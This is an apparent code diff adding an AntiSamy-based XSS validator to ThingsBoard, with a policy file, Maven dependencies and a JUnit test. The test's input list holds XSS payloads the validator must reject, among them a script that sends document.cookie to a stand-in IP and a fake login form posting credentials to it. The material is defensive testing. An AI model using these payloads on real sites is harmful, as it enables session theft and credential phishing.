  20 +import org.owasp.validator.html.AntiSamy;
  21 +import org.owasp.validator.html.Policy;
  22 +import org.owasp.validator.html.PolicyException;
  23 +import org.owasp.validator.html.ScanException;
  24 +import org.thingsboard.server.common.data.validation.NoXss;
  25 +
  26 +import javax.validation.ConstraintValidator;
  27 +import javax.validation.ConstraintValidatorContext;
  28 +
  29 +@Slf4j
  30 +public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
  31 + private static final AntiSamy xssChecker = new AntiSamy();
  32 + private static Policy xssPolicy;
  33 +
  34 + @Override
  35 + public void initialize(NoXss constraintAnnotation) {
  36 + if (xssPolicy == null) {
  37 + try {
  38 + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
  39 + } catch (Exception e) {
  40 + log.error("Failed to set xss policy: {}", e.getMessage());
  41 + }
  42 + }
  43 + }
  44 +
  45 + @Override
  46 + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
  47 + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
  48 + return true;
  49 + }
  50 +
  51 + try {
  52 + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
  53 + } catch (ScanException | PolicyException e) {
  54 + return false;
  55 + }
  56 + }
  57 +}
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import org.junit.jupiter.api.BeforeAll;
  19 +import org.junit.jupiter.params.ParameterizedTest;
  20 +import org.junit.jupiter.params.provider.ValueSource;
  21 +
  22 +import javax.validation.ConstraintValidatorContext;
  23 +
  24 +import static org.junit.jupiter.api.Assertions.assertFalse;
  25 +import static org.mockito.Mockito.mock;
  26 +
  27 +public class NoXssValidatorTest {
  28 + private static NoXssValidator validator;
  29 +
  30 + @BeforeAll
  31 + public static void beforeAll() {
  32 + validator = new NoXssValidator();
  33 + validator.initialize(null);
  34 + }
  35 +
  36 + @ParameterizedTest
  37 + @ValueSource(strings = {
  38 + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
  39 + "9090<body onload=alert('xsssss')>90909",
  40 + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
  41 + "bambam<script>alert(document.cookie)</script>",
  42 + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
  43 + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
  44 + " <img src= \"http://site.com/\" > ",
  45 + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
  46 + })
  47 + public void testIsNotValid(String stringWithXss) {
  48 + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
  49 + assertFalse(isValid);
  50 + }
  51 +
  52 +}
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
@@ -47,6 +47,7 @@ @@ -47,6 +47,7 @@
47 <jjwt.version>0.7.0</jjwt.version> 47 <jjwt.version>0.7.0</jjwt.version>
48 <json-path.version>2.2.0</json-path.version> 48 <json-path.version>2.2.0</json-path.version>
49 <junit.version>4.12</junit.version> 49 <junit.version>4.12</junit.version>
  50 + <jupiter.version>5.7.1</jupiter.version>
50 <slf4j.version>1.7.7</slf4j.version> 51 <slf4j.version>1.7.7</slf4j.version>
51 <logback.version>1.2.3</logback.version> 52 <logback.version>1.2.3</logback.version>
52 <mockito.version>3.3.3</mockito.version> 53 <mockito.version>3.3.3</mockito.version>
@@ -113,6 +114,10 @@ @@ -113,6 +114,10 @@
113 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> 114 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
114 <wire-schema.version>3.4.0</wire-schema.version> 115 <wire-schema.version>3.4.0</wire-schema.version>
115 <twilio.version>7.54.2</twilio.version> 116 <twilio.version>7.54.2</twilio.version>
  117 + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
  118 + <javax.el.version>3.0.0</javax.el.version>
  119 + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
  120 + <antisamy.version>1.6.2</antisamy.version>
116 </properties> 121 </properties>
117 122
118 <modules> 123 <modules>
@@ -1262,6 +1267,12 @@ @@ -1262,6 +1267,12 @@
1262 <scope>test</scope> 1267 <scope>test</scope>
1263 </dependency> 1268 </dependency>
1264 <dependency> 1269 <dependency>
  1270 + <groupId>org.junit.jupiter</groupId>
  1271 + <artifactId>junit-jupiter-params</artifactId>
  1272 + <version>${jupiter.version}</version>
  1273 + <scope>test</scope>
  1274 + </dependency>
  1275 + <dependency>
1265 <groupId>org.dbunit</groupId> 1276 <groupId>org.dbunit</groupId>
1266 <artifactId>dbunit</artifactId> 1277 <artifactId>dbunit</artifactId>
1267 <version>${dbunit.version}</version> 1278 <version>${dbunit.version}</version>
@@ -1458,6 +1469,36 @@ @@ -1458,6 +1469,36 @@
1458 </exclusion> 1469 </exclusion>
1459 </exclusions> 1470 </exclusions>
1460 </dependency> 1471 </dependency>
  1472 + <dependency>
  1473 + <groupId>org.hibernate.validator</groupId>
  1474 + <artifactId>hibernate-validator</artifactId>
  1475 + <version>${hibernate-validator.version}</version>
  1476 + </dependency>
  1477 + <dependency>
  1478 + <groupId>org.glassfish</groupId>
  1479 + <artifactId>javax.el</artifactId>
  1480 + <version>${javax.el.version}</version>
  1481 + </dependency>
  1482 + <dependency>
  1483 + <groupId>javax.validation</groupId>
  1484 + <artifactId>validation-api</artifactId>
  1485 + <version>${javax.validation-api.version}</version>
  1486 + </dependency>
  1487 + <dependency>
  1488 + <groupId>org.owasp.antisamy</groupId>
  1489 + <artifactId>antisamy</artifactId>
  1490 + <version>${antisamy.version}</version>
  1491 + <exclusions>
  1492 + <exclusion>
  1493 + <groupId>org.slf4j</groupId>
  1494 + <artifactId>*</artifactId>
  1495 + </exclusion>
  1496 + <exclusion>
  1497 + <groupId>com.github.spotbugs</groupId>
  1498 + <artifactId>spotbugs-annotations</artifactId>
  1499 + </exclusion>
  1500 + </exclusions>
  1501 + </dependency>
1461 </dependencies> 1502 </dependencies>
1462 </dependencyManagement> 1503 </dependencyManagement>
1463 1504